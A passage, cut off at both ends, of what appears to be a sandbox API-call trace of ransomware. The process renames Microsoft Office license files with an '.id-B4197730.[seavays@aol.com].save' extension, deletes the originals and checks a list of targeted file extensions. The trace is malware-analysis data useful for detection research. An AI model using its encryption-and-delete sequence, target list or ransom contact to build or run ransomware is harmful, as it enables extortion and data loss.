liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.017] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0193.019] GetLastError () returned 0x0 [0193.019] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2983, lpOverlapped=0x0) returned 1 [0193.021] WriteFile (in: hFile=0x528, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2990, lpOverlapped=0x0) returned 1 [0193.023] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.023] WriteFile (in: hFile=0x528, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x102, lpOverlapped=0x0) returned 1 [0193.023] SetEndOfFile (hFile=0x528) returned 1 [0193.023] CloseHandle (hObject=0x528) returned 1 [0193.023] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.023] SetEndOfFile (hFile=0x51c) returned 1 [0193.319] CloseHandle (hObject=0x51c) returned 1 [0193.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-pl.xrm-ms")) returned 1 [0193.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.322] lstrlenW (lpString=".doc") returned 4 [0193.322] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".docx") returned 5 [0193.322] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.322] lstrlenW (lpString=".pdf") returned 4 [0193.322] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".xls") returned 4 [0193.322] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".xlsx") returned 5 [0193.322] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.322] lstrlenW (lpString=".ppt") returned 4 [0193.322] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.322] lstrlenW (lpString=".zip") returned 4 [0193.322] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".rar") returned 4 [0193.322] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".bz2") returned 4 [0193.322] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.322] lstrlenW (lpString=".7z") returned 3 [0193.322] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.322] lstrlenW (lpString=".dbf") returned 4 [0193.323] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.323] lstrlenW (lpString=".1cd") returned 4 [0193.323] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.323] lstrlenW (lpString=".jpg") returned 4 [0193.323] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.323] lstrlenW (lpString=".doc") returned 4 [0193.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString=".docx") returned 5 [0193.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.323] lstrlenW (lpString=".pdf") returned 4 [0193.323] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString=".xls") returned 4 [0193.323] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString=".xlsx") returned 5 [0193.323] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.323] lstrlenW (lpString=".ppt") returned 4 [0193.323] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.323] lstrlenW (lpString=".zip") returned 4 [0193.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.324] lstrlenW (lpString=".rar") returned 4 [0193.324] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.324] lstrlenW (lpString=".bz2") returned 4 [0193.324] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.324] lstrlenW (lpString=".7z") returned 3 [0193.324] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.324] lstrlenW (lpString=".dbf") returned 4 [0193.324] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.324] lstrlenW (lpString=".1cd") returned 4 [0193.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-pl.xrm-ms") returned 73 [0193.324] lstrlenW (lpString=".jpg") returned 4 [0193.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.324] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0193.324] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27 [0193.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.326] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19919) returned 1 [0193.326] CloseHandle (hObject=0x51c) returned 1 [0193.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0193.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.327] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.327] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.328] GetLastError () returned 0x0 [0193.328] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0193.331] WriteFile (in: hFile=0x540, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0193.333] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.333] WriteFile (in: hFile=0x540, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10a, lpOverlapped=0x0) returned 1 [0193.333] SetEndOfFile (hFile=0x540) returned 1 [0193.333] CloseHandle (hObject=0x540) returned 1 [0193.333] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.333] SetEndOfFile (hFile=0x51c) returned 1 [0193.337] CloseHandle (hObject=0x51c) returned 1 [0193.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.339] lstrlenW (lpString=".doc") returned 4 [0193.339] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.339] lstrlenW (lpString=".docx") returned 5 [0193.339] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.339] lstrlenW (lpString=".pdf") returned 4 [0193.339] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.339] lstrlenW (lpString=".xls") returned 4 [0193.339] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.339] lstrlenW (lpString=".xlsx") returned 5 [0193.339] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.339] lstrlenW (lpString=".ppt") returned 4 [0193.339] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString=".zip") returned 4 [0193.340] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString=".rar") returned 4 [0193.340] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString=".bz2") returned 4 [0193.340] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString=".7z") returned 3 [0193.340] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString=".dbf") returned 4 [0193.340] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString=".1cd") returned 4 [0193.340] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString=".jpg") returned 4 [0193.340] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.340] lstrlenW (lpString=".doc") returned 4 [0193.340] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.340] lstrlenW (lpString=".docx") returned 5 [0193.341] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.341] lstrlenW (lpString=".pdf") returned 4 [0193.341] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString=".xls") returned 4 [0193.341] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString=".xlsx") returned 5 [0193.341] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.341] lstrlenW (lpString=".ppt") returned 4 [0193.341] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.341] lstrlenW (lpString=".zip") returned 4 [0193.341] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString=".rar") returned 4 [0193.341] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString=".bz2") returned 4 [0193.341] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString=".7z") returned 3 [0193.341] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.341] lstrlenW (lpString=".dbf") returned 4 [0193.341] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.341] lstrlenW (lpString=".1cd") returned 4 [0193.341] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0193.341] lstrlenW (lpString=".jpg") returned 4 [0193.341] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.341] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0193.342] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29 [0193.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.343] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11167) returned 1 [0193.343] CloseHandle (hObject=0x51c) returned 1 [0193.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0193.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0193.345] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.345] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.348] GetLastError () returned 0x0 [0193.348] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0193.350] WriteFile (in: hFile=0x540, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0193.352] ReadFile (in: hFile=0x51c, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.352] WriteFile (in: hFile=0x540, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x10e, lpOverlapped=0x0) returned 1 [0193.353] SetEndOfFile (hFile=0x540) returned 1 [0193.353] CloseHandle (hObject=0x540) returned 1 [0193.353] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.353] SetEndOfFile (hFile=0x51c) returned 1 [0193.532] CloseHandle (hObject=0x51c) returned 1 [0193.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1 [0193.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.914] lstrlenW (lpString=".doc") returned 4 [0193.914] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0193.914] lstrlenW (lpString=".docx") returned 5 [0193.915] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0193.915] lstrlenW (lpString=".pdf") returned 4 [0193.915] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString=".xls") returned 4 [0193.915] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString=".xlsx") returned 5 [0193.915] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0193.915] lstrlenW (lpString=".ppt") returned 4 [0193.915] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.915] lstrlenW (lpString=".zip") returned 4 [0193.915] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString=".rar") returned 4 [0193.915] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString=".bz2") returned 4 [0193.915] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString=".7z") returned 3 [0193.915] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0193.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.915] lstrlenW (lpString=".dbf") returned 4 [0193.915] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0193.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.915] lstrlenW (lpString=".1cd") returned 4 [0193.915] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0193.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0193.916] lstrlenW (lpString=".jpg") returned 4 [0193.916] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0193.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.917] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11171) returned 1 [0193.917] CloseHandle (hObject=0x554) returned 1 [0193.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0193.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0193.918] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.918] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0193.920] GetLastError () returned 0x0 [0193.920] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0193.923] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0193.925] ReadFile (in: hFile=0x554, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0193.925] WriteFile (in: hFile=0x374, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x110, lpOverlapped=0x0) returned 1 [0193.925] SetEndOfFile (hFile=0x374) returned 1 [0193.925] CloseHandle (hObject=0x374) returned 1 [0193.925] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0193.925] SetEndOfFile (hFile=0x554) returned 1 [0193.930] CloseHandle (hObject=0x554) returned 1 [0193.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 